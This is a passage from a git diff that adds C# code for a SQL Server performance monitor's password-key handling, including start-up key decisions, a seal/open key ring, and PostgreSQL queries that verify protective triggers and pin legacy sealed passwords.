+            CryptographicOperations.ZeroMemory(pkcs8);
+        }
+    }
+
+    private static string? Text(JsonElement element, string name) =>
+        element.TryGetProperty(name, out var value) && value.ValueKind == JsonValueKind.String ? value.GetString() : null;
+
+    private static ServerConnectionIdentity? IdentityFrom(JsonElement b, string usernameSuffix)
+    {
+        var host = Text(b, "host");
+        var engine = Text(b, "engine");
+        var auth = Text(b, "auth");
+        var username = Text(b, "username");
+        var encrypt = Text(b, "encryptMode");
+        if (host is null || engine is null || auth is null || username is null || encrypt is null
+            || !b.TryGetProperty("port", out var port) || port.ValueKind != JsonValueKind.Number
+            || !Flag(b, "readOnlyIntent", out var readOnly) || !Flag(b, "trustServerCertificate", out var trust)
+            || !Flag(b, "multiSubnetFailover", out var multiSubnet))
+        {
+            return null;
+        }
+
+        return new ServerConnectionIdentity(
+            host, port.GetInt32(), engine, Text(b, "database"), readOnly, auth, username + usernameSuffix, encrypt, trust, multiSubnet);
+    }
+
+    private static bool Flag(JsonElement element, string name, out bool value)
+    {
+        value = false;
+        if (!element.TryGetProperty(name, out var found) || found.ValueKind is not (JsonValueKind.True or JsonValueKind.False))
+        {
+            return false;
+        }
+
+        value = found.GetBoolean();
+        return true;
+    }
+
+    /// <summary>Makes a second name for a file. Unix only; false when the call is not there or fails.</summary>
+    private static bool TryHardLink(string existing, string newName)
+    {
+        if (OperatingSystem.IsWindows())
+        {
+            return false;
+        }
+
+        try
+        {
+            return Link(existing, newName) == 0;
+        }
+        catch (Exception ex) when (ex is DllNotFoundException or EntryPointNotFoundException)
+        {
+            return false;
+        }
+    }
+
+#pragma warning disable CA2101 // libc takes UTF-8; LPUTF8Str is correct and CharSet.Unicode would be wrong
+    [DllImport("libc", EntryPoint = "link", SetLastError = true)]
+    private static extern int Link([MarshalAs(UnmanagedType.LPUTF8Str)] string existing, [MarshalAs(UnmanagedType.LPUTF8Str)] string newName);
+#pragma warning restore CA2101
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyState.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyState.cs
new file mode 100644
index 0000000000..8ec840243f
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyState.cs
@@ -0,0 +1,230 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>The password key the store currently publishes.</summary>
+public sealed record PublishedKey(string KeyId, byte[] Spki);
+
+/// <summary>What the service found about its password key at start: the key file, and the key the store publishes.</summary>
+public sealed record PasswordKeyFacts(
+    bool FilePresent, bool FileUntrusted, string? FileRefusal, byte[]? FileSpki,
+    bool FoundAfterOpenDirectory, PublishedKey? StoreCurrent, bool FileKeyRetiredInStore);
+
+/// <summary>What the service does with its password key at start.</summary>
+public enum PasswordKeyAction
+{
+    /// <summary>Use the key file.</summary>
+    Use,
+
+    /// <summary>Make a new key and publish it.</summary>
+    Generate,
+
+    /// <summary>Publish the key the file holds.</summary>
+    PublishFile,
+
+    /// <summary>The file holds a different key from the one the store publishes. Saved passwords cannot be opened.</summary>
+    Mismatch,
+
+    /// <summary>The store publishes a key and the file is missing. Saved passwords cannot be opened.</summary>
+    Missing,
+
+    /// <summary>The file cannot be used and must not be replaced.</summary>
+    Refused,
+}
+
+/// <summary>The decision for one start. <see cref="RetireAs"/> is <c>retired</c> or <c>discarded</c>; the reason and the
+/// warning are plain sentences for the log and the admin pages.</summary>
+public sealed record PasswordKeyDecision(
+    PasswordKeyAction Action, bool RetireFileFirst, string? RetireAs, string? Reason, string? Warning);
+
+/// <summary>The one place the service's start-up choice about its password key is made, from facts only, so every
+/// row of the decision table can be tested without a file system or a store.</summary>
+public static class DarlingPasswordKeyState
+{
+    /// <summary>The warning that goes with using a key file found after its directory was opened to other users.</summary>
+    public const string OpenDirectoryWarning =
+        "The credentials directory was open to other users until this start. The password key still matches the store, " +
+        "so saved passwords work, but another user may have read it. If that is possible, run --reset-password-key " +
+        "and enter the saved passwords again.";
+
+    private const string DiscardedFileReason =
+        "The password key file was found while its directory was open to other users and does not match the store, so it was set aside.";
+
+    /// <summary>Decides what to do, checking the rows of the table in order.</summary>
+    public static PasswordKeyDecision Decide(PasswordKeyFacts f)
+    {
+        ArgumentNullException.ThrowIfNull(f);
+
+        // A file that exists but cannot be trusted is never replaced.
+        if (f.FileUntrusted)
+        {
+            return new PasswordKeyDecision(
+                PasswordKeyAction.Refused, false, null,
+                string.IsNullOrWhiteSpace(f.FileRefusal) ? "The password key file cannot be used." : f.FileRefusal,
+                null);
+        }
+
+        var current = f.StoreCurrent;
+
+        // A published key whose id does not match its own key is not one to trust either way.
+        if (current is not null && !string.Equals(current.KeyId, PasswordSeal.KeyIdFor(current.Spki), StringComparison.Ordinal))
+        {
+            return f.FilePresent
+                ? new PasswordKeyDecision(PasswordKeyAction.Mismatch, false, null, MismatchReason(f.FileSpki, current), null)
+                : new PasswordKeyDecision(
+                    PasswordKeyAction.Refused, false, null,
+                    "The store's published password key is inconsistent: its id does not match the key. " +
+                    "Run --reset-password-key and enter the saved passwords again.",
+                    null);
+        }
+
+        if (f.FilePresent && f.FoundAfterOpenDirectory)
+        {
+            if (current is not null && f.FileSpki is not null && SameKey(current.Spki, f.FileSpki))
+            {
+                return new PasswordKeyDecision(PasswordKeyAction.Use, false, null, null, OpenDirectoryWarning);
+            }
+
+            // The file does not match the store: set it aside, then decide as if it were absent.
+            var withoutFile = DecideWithoutFile(current);
+            return withoutFile with { RetireFileFirst = true, RetireAs = "discarded", Reason = withoutFile.Reason ?? DiscardedFileReason };
+        }
+
+        if (!f.FilePresent)
+        {
+            return DecideWithoutFile(current);
+        }
+
+        if (f.FileSpki is null)
+        {
+            return new PasswordKeyDecision(
+                PasswordKeyAction.Refused, false, null, "The password key file could not be read.", null);
+        }
+
+        if (current is null)
+        {
+            return f.FileKeyRetiredInStore
+                ? new PasswordKeyDecision(PasswordKeyAction.Generate, true, "retired", null, null)
+                : new PasswordKeyDecision(PasswordKeyAction.PublishFile, false, null, null, null);
+        }
+
+        if (SameKey(current.Spki, f.FileSpki))
+        {
+            return new PasswordKeyDecision(PasswordKeyAction.Use, false, null, null, null);
+        }
+
+        return new PasswordKeyDecision(PasswordKeyAction.Mismatch, false, null, MismatchReason(f.FileSpki, current), null);
+    }
+
+    // Both ids are worked out from the key bytes, never printed as the store holds them.
+    private static string MismatchReason(byte[]? fileSpki, PublishedKey current)
+    {
+        var fileId = fileSpki is null ? "unreadable" : PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(fileSpki));
+        var storeId = PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(current.Spki));
+        return $"The password key in the credentials directory ({fileId}) is not the key the store publishes ({storeId}). " +
+            "Restore the credentials volume that holds the key, or run --reset-password-key and enter the saved passwords again.";
+    }
+
+    private static PasswordKeyDecision DecideWithoutFile(PublishedKey? current) =>
+        current is null
+            ? new PasswordKeyDecision(PasswordKeyAction.Generate, false, null, null, null)
+            : new PasswordKeyDecision(
+                PasswordKeyAction.Missing, false, null,
+                $"The password key {PasswordSeal.DisplayKeyId(PasswordSeal.KeyIdFor(current.Spki))} is missing from the credentials directory. " +
+                "Restore the credentials volume, or run --reset-password-key and enter the saved passwords again.",
+                null);
+
+    private static bool SameKey(byte[] a, byte[] b) => a.AsSpan().SequenceEqual(b);
+}
+
+/// <summary>What the service can do with its password key right now.</summary>
+public sealed record PasswordKeyStatus(bool CanSeal, string? Reason, string? KeyId, PasswordPublicKey? PublicKey);
+
+/// <summary>The service's password key as its callers see it: seal and open, or a reason it cannot.</summary>
+public interface IPasswordKeyRing
+{
+    /// <summary>Whether the ring can seal, and why not when it cannot.</summary>
+    PasswordKeyStatus Status { get; }
+
+    /// <summary>Seals a password for <paramref name="binding"/>. Throws <see cref="InvalidOperationException"/> with
+    /// <see cref="PasswordKeyStatus.Reason"/> when the ring cannot seal.</summary>
+    string Seal(string plaintext, PasswordBinding binding);
+
+    /// <summary>Opens a sealed password for <paramref name="binding"/>. Throws <see cref="PasswordSealException"/>; a ring
+    /// that holds no key throws <see cref="PasswordSealFailure.UnknownKey"/>.</summary>
+    string Open(string sealedText, PasswordBinding binding);
+}
+
+/// <summary>The service's password key ring. Production code passes <see cref="Current"/> to every consumer; tests pass
+/// a ring and never set it.</summary>
+public static class DarlingPasswordKey
+{
+    /// <summary>The reason given until the service has loaded its key.</summary>
+    public const string NotReadyReason = "The service is still loading its password key. Try again in a moment.";
+
+    private static volatile IPasswordKeyRing _current = Refusing(NotReadyReason);
+
+    /// <summary>The ring in use. It starts as one that refuses with <see cref="NotReadyReason"/>.</summary>
+    public static IPasswordKeyRing Current
+    {
+        get => _current;
+        internal set => _current = value ?? throw new ArgumentNullException(nameof(value));
+    }
+
+    /// <summary>A ring that seals and opens with <paramref name="key"/>.</summary>
+    public static IPasswordKeyRing FromPrivateKey(PasswordPrivateKey key)
+    {
+        ArgumentNullException.ThrowIfNull(key);
+        return new KeyedRing(key);
+    }
+
+    /// <summary>A ring that cannot seal and holds no key, with <paramref name="reason"/> as the answer.</summary>
+    public static IPasswordKeyRing Refusing(string reason) => new RefusingRing(reason);
+
+    private sealed class KeyedRing : IPasswordKeyRing
+    {
+        private readonly PasswordPrivateKey _key;
+
+        public KeyedRing(PasswordPrivateKey key)
+        {
+            _key = key;
+            Status = new PasswordKeyStatus(true, null, key.PublicKey.KeyId, key.PublicKey);
+        }
+
+        public PasswordKeyStatus Status { get; }
+
+        public string Seal(string plaintext, PasswordBinding binding) =>
+            PasswordSeal.Seal(plaintext, _key.PublicKey, binding);
+
+        public string Open(string sealedText, PasswordBinding binding) =>
+            PasswordSeal.Open(sealedText, _key, binding);
+    }
+
+    private sealed class RefusingRing : IPasswordKeyRing
+    {
+        private readonly string _reason;
+
+        public RefusingRing(string reason)
+        {
+            _reason = reason;
+            Status = new PasswordKeyStatus(false, reason, null, null);
+        }
+
+        public PasswordKeyStatus Status { get; }
+
+        public string Seal(string plaintext, PasswordBinding binding) =>
+            throw new InvalidOperationException(_reason);
+
+        public string Open(string sealedText, PasswordBinding binding) =>
+            throw new PasswordSealException(PasswordSealFailure.UnknownKey, PasswordSeal.KeyIdOf(sealedText ?? ""));
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyStore.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyStore.cs
new file mode 100644
index 0000000000..4c3e8061fa
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyStore.cs
@@ -0,0 +1,496 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// What <see cref="DarlingPasswordKeyStore.SnapshotLegacyPinsAsync"/> did. <see cref="MarkerState"/> is <c>done</c> (the
+/// step finished: <see cref="Pinned"/> values pinned, possibly none), <c>skipped</c> (a host that is not Windows left the
+/// step open for one that is), <c>not-here</c> (values still match the record but this machine opens none of them, so
+/// the step stays open for a machine that can), <c>unprotected</c> (a key table's protection is not as expected, so the
+/// step did not run), <c>none</c> (no marker row), or the marker's own state when it is not open.
+/// </summary>
+internal sealed record LegacyPinSnapshot(string MarkerState, int Pinned);
+
+/// <summary>
+/// The service's reads and writes of the password key tables (#5366): the published key, the per-host state row, the
+/// legacy pin snapshot and the reset. Every write runs as the store owner (the service's own connection); the
+/// owner-only triggers refuse everyone else, and <see cref="CheckTriggersAsync"/> confirms they are all still in place.
+/// </summary>
+internal static class DarlingPasswordKeyStore
+{
+    /// <summary>The age after which a service host's state row is deleted.</summary>
+    internal const int StaleServiceRowDays = 30;
+
+    /// <summary>The server id the mail-server password's pin carries.</summary>
+    internal const int SmtpPinServerId = 0;
+
+    private const string TriggerCatalogSql = @"
+SELECT c.relname, t.tgname, t.tgenabled::text
+FROM pg_catalog.pg_trigger AS t
+JOIN pg_catalog.pg_class AS c ON c.oid = t.tgrelid
+JOIN pg_catalog.pg_namespace AS n ON n.oid = c.relnamespace
+WHERE NOT t.tgisinternal
+  AND n.nspname = 'config'
+  AND c.relname IN ('password_key', 'password_key_service', 'legacy_secret_pin', 'legacy_secret_pin_marker', 'legacy_secret_pin_candidate');";
+
+    /// <summary>
+    /// Checks that the five key tables have exactly the ten owner-only triggers, each enabled for every session
+    /// state (<c>tgenabled = 'A'</c>). Returns null when they do, or a plain sentence saying what is not as expected.
+    /// </summary>
+    internal static async Task<string?> CheckTriggersAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        var found = new Dictionary<string, string>(StringComparer.Ordinal);
+        var extra = new List<string>();
+        await using (var command = new NpgsqlCommand(TriggerCatalogSql, c))
+        {
+            command.CommandTimeout = ServiceCommandDeadlines.SerialLoopSeconds;
+            await using var reader = await command.ExecuteReaderAsync(ct).ConfigureAwait(false);
+            while (await reader.ReadAsync(ct).ConfigureAwait(false))
+            {
+                var table = reader.GetString(0);
+                var name = reader.GetString(1);
+                var enabled = reader.GetString(2);
+                var expected = false;
+                foreach (var (expectedTable, expectedName) in ExpectedTriggers())
+                {
+                    if (string.Equals(expectedTable, table, StringComparison.Ordinal)
+                        && string.Equals(expectedName, name, StringComparison.Ordinal))
+                    {
+                        expected = true;
+                        break;
+                    }
+                }
+
+                if (expected)
+                {
+                    found[name] = enabled;
+                }
+                else
+                {
+                    extra.Add(name);
+                }
+            }
+        }
+
+        foreach (var (_, trigger) in ExpectedTriggers())
+        {
+            if (!found.TryGetValue(trigger, out var enabled))
+            {
+                return $"The password key tables are missing their protection (trigger {trigger} is not there).";
+            }
+
+            if (!string.Equals(enabled, "A", StringComparison.Ordinal))
+            {
+                return $"The password key tables are not fully protected (trigger {trigger} is not enabled in every session state).";
+            }
+        }
+
+        return extra.Count > 0
+            ? $"The password key tables have a trigger that was not part of the store's design ({extra[0]})."
+            : null;
+    }
+
+    // The V165 key tables' eight triggers, then the V167 candidate table's two.
+    private static IEnumerable<(string Table, string Trigger)> ExpectedTriggers()
+    {
+        foreach (var trigger in PasswordKeyTables.OwnerOnlyTriggers)
+        {
+            yield return trigger;
+        }
+
+        foreach (var trigger in LegacyPinCandidateTables.OwnerOnlyTriggers)
+        {
+            yield return trigger;
+        }
+    }
+
+    /// <summary>The published key whose state is <c>current</c>, or null when there is none.</summary>
+    internal static async Task<PublishedKey?> ReadCurrentAsync(NpgsqlConnection c, int timeoutSeconds, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(PasswordKeyTables.ReadCurrentSql, c);
+        command.CommandTimeout = timeoutSeconds;
+        await using var reader = await command.ExecuteReaderAsync(ct).ConfigureAwait(false);
+        if (!await reader.ReadAsync(ct).ConfigureAwait(false))
+        {
+            return null;
+        }
+
+        return new PublishedKey(reader.GetString(0), (byte[])reader.GetValue(1));
+    }
+
+    /// <summary>True when the store holds a <c>replaced</c> row for this key id: a key that was reset or rotated away.</summary>
+    internal static async Task<bool> IsReplacedAsync(NpgsqlConnection c, string keyId, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "SELECT EXISTS (SELECT 1 FROM config.password_key WHERE key_id = $1 AND state = 'replaced');", c);
+        command.CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds;
+        command.Parameters.AddWithValue(keyId);
+        return (bool)(await command.ExecuteScalarAsync(ct).ConfigureAwait(false))!;
+    }
+
+    /// <summary>Publishes a key as the current one. Throws a unique-violation <see cref="PostgresException"/> when
+    /// another key is already current.</summary>
+    internal static async Task PublishAsync(NpgsqlConnection c, string keyId, byte[] spki, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "INSERT INTO config.password_key (key_id, public_key, algorithm, state) VALUES ($1, $2, $3, 'current');", c);
+        command.CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds;
+        command.Parameters.AddWithValue(keyId);
+        command.Parameters.AddWithValue(spki);
+        command.Parameters.AddWithValue(PasswordSeal.Algorithm);
+        await command.ExecuteNonQueryAsync(ct).ConfigureAwait(false);
+    }
+
+    /// <summary>Writes this service host's row, then deletes the rows no service has updated for
+    /// <see cref="StaleServiceRowDays"/> days.</summary>
+    internal static async Task WriteServiceStateAsync(
+        NpgsqlConnection c, string serviceHost, string? keyId, string state, string? note, int timeoutSeconds, CancellationToken ct)
+    {
+        await using (var upsert = new NpgsqlCommand(@"
+INSERT INTO config.password_key_service (service_host, key_id, state, note, updated_at)
+VALUES ($1, $2, $3, $4, now() AT TIME ZONE 'UTC')
+ON CONFLICT (service_host) DO UPDATE
+SET key_id = EXCLUDED.key_id, state = EXCLUDED.state, note = EXCLUDED.note, updated_at = EXCLUDED.updated_at;", c))
+        {
+            upsert.CommandTimeout = timeoutSeconds;
+            upsert.Parameters.AddWithValue(serviceHost);
+            upsert.Parameters.AddWithValue((object?)keyId ?? DBNull.Value);
+            upsert.Parameters.AddWithValue(state);
+            upsert.Parameters.AddWithValue((object?)note ?? DBNull.Value);
+            await upsert.ExecuteNonQueryAsync(ct).ConfigureAwait(false);
+        }
+
+        await using var purge = new NpgsqlCommand(
+            "DELETE FROM config.password_key_service WHERE updated_at < (now() AT TIME ZONE 'UTC') - make_interval(days => $1);", c);
+        purge.CommandTimeout = timeoutSeconds;
+        purge.Parameters.AddWithValue(StaleServiceRowDays);
+        await purge.ExecuteNonQueryAsync(ct).ConfigureAwait(false);
+    }
+
+    /// <summary>How many saved passwords are sealed to a key: the sealed server, remediation and mail-server values.</summary>
+    internal static async Task<int> CountSealedPasswordsAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+SELECT (SELECT count(*) FROM config.config_monitored_servers WHERE starts_with(coalesce(encrypted_password, ''), 'sealed:'))
+     + (SELECT count(*) FROM config.config_monitored_servers WHERE starts_with(coalesce(remediation_encrypted_password, ''), 'sealed:'))
+     + (SELECT count(*) FROM config.config_notification WHERE starts_with(coalesce(smtp_encrypted_password, ''), 'sealed:'));", c);
+        command.CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds;
+        return Convert.ToInt32(await command.ExecuteScalarAsync(ct).ConfigureAwait(false), CultureInfo.InvariantCulture);
+    }
+
+    /// <summary>
+    /// Marks the current key replaced, with the reason <c>reset</c>, and returns the key id it replaced, or null when
+    /// there was no current key. Key files are never touched here: the next start retires the file and makes a new key.
+    /// </summary>
+    internal static async Task<string?> MarkCurrentResetAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+UPDATE config.password_key
+SET state = 'replaced', replaced_reason = 'reset', replaced_at = now() AT TIME ZONE 'UTC'
+WHERE state = 'current'
+RETURNING key_id;", c);
+        command.CommandTimeout = ServiceCommandDeadlines.BootstrapSeconds;
+        return (string?)await command.ExecuteScalarAsync(ct).ConfigureAwait(false);
+    }
+
+    /// <summary>
+    /// The legacy pin step, in one transaction. First the catalog must show every owner-only trigger on every key table,
+    /// the candidate table's included; if not, nothing runs and the outcome is <c>unprotected</c>. Then the marker row is
+    /// locked. On Windows (<paramref name="windows"/>) the step runs only while the marker is <c>pending</c> or
+    /// <c>skipped</c> (a Linux host set <c>skipped</c> and left the step to a Windows machine); on anything else it sets
+    /// <c>skipped</c> from <c>pending</c> and pins nothing.
+    ///
+    /// <para>The step pins from the record the V167 rung took of the old-format values present at the upgrade
+    /// (<see cref="LegacyPinCandidateTables"/>). A live value matches a candidate only when its stored text and the
+    /// connection it is saved for both hash to what the record holds (both compared in fixed time); only a match is
+    /// offered to <paramref name="canOpen"/>, which says whether this machine opens it and never returns the value. Four
+    /// outcomes, by <see cref="LegacyPinSnapshot.MarkerState"/>: <c>done</c> with every opened match pinned (and none
+    /// when nothing matches any more), the record cleared and, when anything was pinned, <c>config_version</c> raised
+    /// in the same transaction so every host reloads; <c>not-here</c> when values match but this machine opens none of
+    /// them (the transaction is rolled back, the marker and the record stay for a machine that can); <c>unprotected</c>;
+    /// and, for a marker that is not open or a missing marker row (<c>none</c>), nothing changes. A failure inside the
+    /// transaction changes no pin.</para>
+    /// </summary>
+    /// <param name="canOpen">True when this machine opens the stored text. May throw
+    /// <see cref="CryptographicException"/> / <see cref="FormatException"/> / <see cref="PlatformNotSupportedException"/>
+    /// for a value it cannot open (counted as not opened, logged without the value); any other exception escapes.</param>
+    /// <param name="timeoutSeconds">The command timeout of every statement the step runs.</param>
+    internal static async Task<LegacyPinSnapshot> SnapshotLegacyPinsAsync(
+        NpgsqlDataSource postgres, bool windows, Func<string, bool> canOpen, int timeoutSeconds, ILogger logger, CancellationToken ct)
+    {
+        await using var c = await postgres.OpenConnectionAsync(ct).ConfigureAwait(false);
+
+        var problem = await CheckTriggersAsync(c, ct).ConfigureAwait(false);
+        if (problem is not null)
+        {
+            logger.LogWarning("The legacy password pin step did not run: {Problem}", problem);
+            return new LegacyPinSnapshot("unprotected", 0);
+        }
+
+        await using var tx = await c.BeginTransactionAsync(ct).ConfigureAwait(false);
+
+        string? marker;
+        await using (var lockMarker = new NpgsqlCommand(
+            "SELECT state FROM config.legacy_secret_pin_marker WHERE id = 1 FOR UPDATE;", c, tx))
+        {
+            lockMarker.CommandTimeout = timeoutSeconds;
+            marker = (string?)await lockMarker.ExecuteScalarAsync(ct).ConfigureAwait(false);
+        }
+
+        var open = string.Equals(marker, "pending", StringComparison.Ordinal)
+            || (windows && string.Equals(marker, "skipped", StringComparison.Ordinal));
+        if (marker is null || !open)
+        {
+            await tx.RollbackAsync(ct).ConfigureAwait(false);
+            return new LegacyPinSnapshot(marker ?? "none", 0);
+        }
+
+        if (!windows)
+        {
+            await SetMarkerAsync(c, tx, "skipped", timeoutSeconds, ct).ConfigureAwait(false);
+            await tx.CommitAsync(ct).ConfigureAwait(false);
+            return new LegacyPinSnapshot("skipped", 0);
+        }
+
+        var candidates = await ReadCandidatesAsync(c, tx, timeoutSeconds, ct).ConfigureAwait(false);
+        var servers = await PinServersAsync(c, tx, candidates, canOpen, timeoutSeconds, logger, ct).ConfigureAwait(false);
+        var smtp = await PinSmtpAsync(c, tx, candidates, canOpen, timeoutSeconds, logger, ct).ConfigureAwait(false);
+        var matched = servers.Matched + smtp.Matched;
+        var pinned = servers.Pinned + smtp.Pinned;
+
+        if (matched > 0 && pinned == 0)
+        {
+            await tx.RollbackAsync(ct).ConfigureAwait(false);
+            return new LegacyPinSnapshot("not-here", 0);
+        }
+
+        await SetMarkerAsync(c, tx, "done", timeoutSeconds, ct).ConfigureAwait(false);
+        await using (var clear = new NpgsqlCommand("DELETE FROM config.legacy_secret_pin_candidate;", c, tx))
+        {
+            clear.CommandTimeout = timeoutSeconds;
+            await clear.ExecuteNonQueryAsync(ct).ConfigureAwait(false);
+        }
+
+        if (pinned > 0)
+        {
+            await using var bump = new NpgsqlCommand(
+                "UPDATE config.config_service SET config_version = config_version + 1 WHERE id = 1;", c, tx);
+            bump.CommandTimeout = timeoutSeconds;
+            await bump.ExecuteNonQueryAsync(ct).ConfigureAwait(false);
+        }
+
+        await tx.CommitAsync(ct).ConfigureAwait(false);
+        return new LegacyPinSnapshot("done", pinned);
+    }
+
+    private static async Task SetMarkerAsync(NpgsqlConnection c, NpgsqlTransaction tx, string state, int timeoutSeconds, CancellationToken ct)
+    {
+        await using var update = new NpgsqlCommand(
+            "UPDATE config.legacy_secret_pin_marker SET state = $1, changed_at = now() AT TIME ZONE 'UTC' WHERE id = 1;", c, tx);
+        update.CommandTimeout = timeoutSeconds;
+        update.Parameters.AddWithValue(state);
+        await update.ExecuteNonQueryAsync(ct).ConfigureAwait(false);
+    }
+
+    /// <summary>One recorded value: the hash of the stored text and the hash of the connection it was recorded for.</summary>
+    private sealed record Candidate(byte[] ValueSha256, byte[] BindingSha256);
+
+    // The candidates by (server id, slot). The binding hash is built here from the recorded columns exactly as the live
+    // row's is built below, so the two compare as the resolver compares a pin.
+    private static async Task<Dictionary<(int ServerId, string Slot), Candidate>> ReadCandidatesAsync(
+        NpgsqlConnection c, NpgsqlTransaction tx, int timeoutSeconds, CancellationToken ct)
+    {
+        var candidates = new Dictionary<(int, string), Candidate>();
+        await using var read = new NpgsqlCommand(
+            $"SELECT server_id, slot, value_sha256, {ServerConnectionIdentity.StoredColumns}, remediation_username, smtp_use_ssl " +
+            "FROM config.legacy_secret_pin_candidate;", c, tx);
+        read.CommandTimeout = timeoutSeconds;
+        await using var reader = await read.ExecuteReaderAsync(ct).ConfigureAwait(false);
+        while (await reader.ReadAsync(ct).ConfigureAwait(false))
+        {
+            var serverId = reader.GetInt32(0);
+            var slot = reader.GetString(1);
+            var value = (byte[])reader.GetValue(2);
+            var host = Text(reader, 3);
+            var username = Text(reader, 9);
+            PasswordBinding binding;
+            if (string.Equals(slot, "smtp", StringComparison.Ordinal))
+            {
+                binding = PasswordBinding.ForSmtp(
+                    host, reader.IsDBNull(4) ? 0 : reader.GetInt32(4), !reader.IsDBNull(14) && reader.GetBoolean(14), username);
+            }
+            else
+            {
+                var identity = ServerConnectionIdentity.FromStoredColumns(
+                    host, reader.IsDBNull(4) ? null : reader.GetInt32(4), Text(reader, 5), Text(reader, 6),
+                    !reader.IsDBNull(7) && reader.GetBoolean(7), Text(reader, 8), username, Text(reader, 10),
+                    !reader.IsDBNull(11) && reader.GetBoolean(11), !reader.IsDBNull(12) && reader.GetBoolean(12));
+                binding = string.Equals(slot, "server", StringComparison.Ordinal)
+                    ? PasswordBinding.ForServer(identity)
+                    : PasswordBinding.ForRemediation(identity, Text(reader, 13));
+            }
+
+            candidates[(serverId, slot)] = new Candidate(value, binding.LegacyPinHash());
+        }
+
+        return candidates;
+    }
+
+    private static async Task<(int Matched, int Pinned)> PinServersAsync(
+        NpgsqlConnection c, NpgsqlTransaction tx, Dictionary<(int ServerId, string Slot), Candidate> candidates,
+        Func<string, bool> canOpen, int timeoutSeconds, ILogger logger, CancellationToken ct)
+    {
+        var rows = new List<(int ServerId, ServerConnectionIdentity Identity, string? Password, string? RemediationUser, string? RemediationPassword)>();
+        await using (var read = new NpgsqlCommand(
+            $"SELECT server_id, {ServerConnectionIdentity.StoredColumns}, encrypted_password, remediation_username, remediation_encrypted_password " +
+            "FROM config.config_monitored_servers ORDER BY server_id;", c, tx))
+        {
+            read.CommandTimeout = timeoutSeconds;
+            await using var reader = await read.ExecuteReaderAsync(ct).ConfigureAwait(false);
+            while (await reader.ReadAsync(ct).ConfigureAwait(false))
+            {
+                var identity = ServerConnectionIdentity.FromStoredColumns(
+                    Text(reader, 1), reader.IsDBNull(2) ? null : reader.GetInt32(2), Text(reader, 3), Text(reader, 4),
+                    !reader.IsDBNull(5) && reader.GetBoolean(5), Text(reader, 6), Text(reader, 7), Text(reader, 8),
+                    !reader.IsDBNull(9) && reader.GetBoolean(9), !reader.IsDBNull(10) && reader.GetBoolean(10));
+                rows.Add((reader.GetInt32(0), identity, Text(reader, 11), Text(reader, 12), Text(reader, 13)));
+            }
+        }
+
+        var matched = 0;
+        var pinned = 0;
+        foreach (var row in rows)
+        {
+            var serverBinding = PasswordBinding.ForServer(row.Identity);
+            if (Matches(candidates, row.ServerId, "server", row.Password, serverBinding))
+            {
+                matched++;
+                if (CanPin(row.Password!, canOpen, logger))
+                {
+                    await InsertPinAsync(c, tx, row.ServerId, "server", row.Password!, serverBinding, timeoutSeconds, ct).ConfigureAwait(false);
+                    pinned++;
+                }
+            }
+
+            var remediationBinding = PasswordBinding.ForRemediation(row.Identity, row.RemediationUser);
+            if (Matches(candidates, row.ServerId, "remediation", row.RemediationPassword, remediationBinding))
+            {
+                matched++;
+                if (CanPin(row.RemediationPassword!, canOpen, logger))
+                {
+                    await InsertPinAsync(c, tx, row.ServerId, "remediation", row.RemediationPassword!, remediationBinding, timeoutSeconds, ct).ConfigureAwait(false);
+                    pinned++;
+                }
+            }
+        }
+
+        return (matched, pinned);
+    }
+
+    private static async Task<(int Matched, int Pinned)> PinSmtpAsync(
+        NpgsqlConnection c, NpgsqlTransaction tx, Dictionary<(int ServerId, string Slot), Candidate> candidates,
+        Func<string, bool> canOpen, int timeoutSeconds, ILogger logger, CancellationToken ct)
+    {
+        string? host = null;
+        int port = 0;
+        bool useSsl = false;
+        string? username = null;
+        string? password = null;
+        await using (var read = new NpgsqlCommand(
+            "SELECT smtp_host, smtp_port, smtp_use_ssl, smtp_username, smtp_encrypted_password FROM config.config_notification WHERE id = 1;", c, tx))
+        {
+            read.CommandTimeout = timeoutSeconds;
+            await using var reader = await read.ExecuteReaderAsync(ct).ConfigureAwait(false);
+            if (!await reader.ReadAsync(ct).ConfigureAwait(false))
+            {
+                return (0, 0);
+            }
+
+            host = Text(reader, 0);
+            port = reader.IsDBNull(1) ? 0 : reader.GetInt32(1);
+            useSsl = !reader.IsDBNull(2) && reader.GetBoolean(2);
+            username = Text(reader, 3);
+            password = Text(reader, 4);
+        }
+
+        var binding = PasswordBinding.ForSmtp(host, port, useSsl, username);
+        if (!Matches(candidates, SmtpPinServerId, "smtp", password, binding))
+        {
+            return (0, 0);
+        }
+
+        if (!CanPin(password!, canOpen, logger))
+        {
+            return (1, 0);
+        }
+
